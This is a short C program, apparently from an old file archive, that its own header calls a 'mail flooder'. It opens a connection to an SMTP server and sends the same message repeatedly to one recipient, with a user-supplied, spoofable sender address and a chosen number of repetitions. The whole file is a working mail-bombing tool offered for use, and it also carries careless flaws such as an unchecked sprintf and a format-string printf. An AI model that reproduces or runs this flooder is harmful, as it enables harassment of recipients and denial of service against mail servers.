home *** CD-ROM | disk | FTP | other *** search
- /*
- God would not want you to have this
- a kewl mail flooder
- */
-
- #include <stdio.h>
- #include <sys/param.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <netdb.h>
- #include <stdarg.h>
-
- void smtp_connect(char *server);
-
- int thesock;
-
- void smtp_connect(char *server)
- {
- struct sockaddr_in sin;
- struct hostent *hp;
-
- hp = gethostbyname(server);
- if (hp==NULL) {
- printf("Unknown host: %s\n",server);
- exit(0);
- }
- bzero((char*) &sin, sizeof(sin));
- bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
- sin.sin_family = hp->h_addrtype;
- sin.sin_port = htons(25);
- thesock = socket(AF_INET, SOCK_STREAM, 0);
- connect(thesock,(struct sockaddr *) &sin, sizeof(sin));
- }
-
- void main(int argc, char **argv)
- {
- char buf[1500];
- int a,i;
- char end[50];
-
- if (argc != 7) {
- printf("Usage: %s sends smtp_server from to sub tiny_msg\n",argv[0]);
- exit(0);
- }
- i = atoi(argv[1]);
- printf("Connecting to SMTP Server %s\n",argv[2]);
- smtp_connect(argv[2]);
- printf("Sending Mail To %s From %s\n",argv[4],argv[3]);
- for(a=0;a<=i;a++) {
- sprintf(buf, "helo\nmail from: %s\nrcpt to: %s\ndata\nTo: %s\nSubject: %s\n%s\n.\n",argv[3],argv[4],argv[4], argv[5], argv[6]);
- send(thesock, buf, strlen(buf), 0);
- printf("Sleeping To Make Sure Data Is Sent ...\n");
- sleep(2);
- printf("Sequence %i Done.\n",a);
- }
- sprintf(end, "quit\n");
- send(thesock, end, strlen(end), 0);
- printf("--copy of mesg send--\n");
- printf(buf);
- printf("--\n");
- printf("%i Loops Done.\n",a);
- }
-